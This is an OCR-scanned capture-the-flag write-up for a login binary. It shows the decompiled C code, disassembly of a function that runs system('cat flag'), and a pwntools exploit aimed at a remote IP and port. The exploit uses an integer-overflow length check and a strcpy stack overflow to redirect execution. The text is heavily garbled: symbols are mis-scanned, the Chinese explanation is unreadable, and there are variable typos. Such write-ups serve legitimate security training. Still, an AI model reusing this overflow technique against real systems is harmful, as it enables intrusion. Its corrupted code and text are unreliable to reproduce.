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~~ Welcome to CTF!
1.Login

Your choice:1

Please input your username:
1
Hello 1

Please input your passwd:
1
Invalid Password

wxy111@ubipatiolpe/idslebind
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int __cdecl main(int argc, const char **;

{

int v4; // [esp+Ch] [ebp-Ch]
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setbuf(stdin, @);
setbuf(stdout, ©);
setbuf(stderr, @);

puts("----------mmmmoo oo ")s
puts("~~ Welcome to CTF! ~~");
puts(” 1.Login ");
puts(” 2.Exit ")
puts("----------mmom oo ")s

printf("Your choice:");
__1s0c99_scanf("%d", &v4);
i'F(V4==‘1)
{
login();
¥
else
{
i'F(‘v’4==2)
{
puts("Bye~");
exit(e);
¥
puts("Invalid Choice!");

}

return 8;

char *login()

{
char buf; // [esp+Bh] [ebp-228h]
char s; // [esp+208h] [ebp-28h]

memset(&s, ©, @x20u);

memset(&buf, @, @x2e0u);
puts(“Please input your username:");
read(e, &s, ex19u);

printf("Hello %s\n", &s);
puts("Please input your passwd:");

read(@, &buf, 8x199u);
retu eck_passwd(&buf);
} .

char *__cdecl check_passwd(char *s)

{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if (v3 <= 3u || v2 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}

else



puts(“Success"); _
fflush(stdout);
result = strcpy(&dest, s);

¥

return result;

}
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unsigned __int8 v3; //
KI8T 584, W K R /2255,
1B /& read pf £ RE BL K L /20199, 16K 1255, AR LAEAT B A Y, il passwd K 22 260%264 5 7T LA 1.
FE 7 A 5 Br A system(“cat flag”), | v] LA IR [a] Mk 78 25 21X ok .

.text:@8e4868B ; __ unwind {

.text:0804868B push ebp
.text:0804868C mov ebp, esp
.text:0804868E sub esp, 8
.text:08048691 sub esp, ©Ch
.text:08048694 push offset command ; "cat flag"
.text:08048699 call _system
.text:0804869E add esp, 1eéh
.text:880486A1 nop
.text:080486A2 leave
.text:888486A3 retn

expﬁLlT:

from pwn import*

a=remote("111.198.29.45","32363")

a.recvuntil("Your choice:")

a.send("1\n")

a.recvuntil("\n")

a.send("a\n")

a.recvuntil("\n")

payload="A"'*(0x14+4)+p32(0x0804868B)

payload+= 'A'*(260-len(payload))

a.sendline(payload)

print a.recvall()
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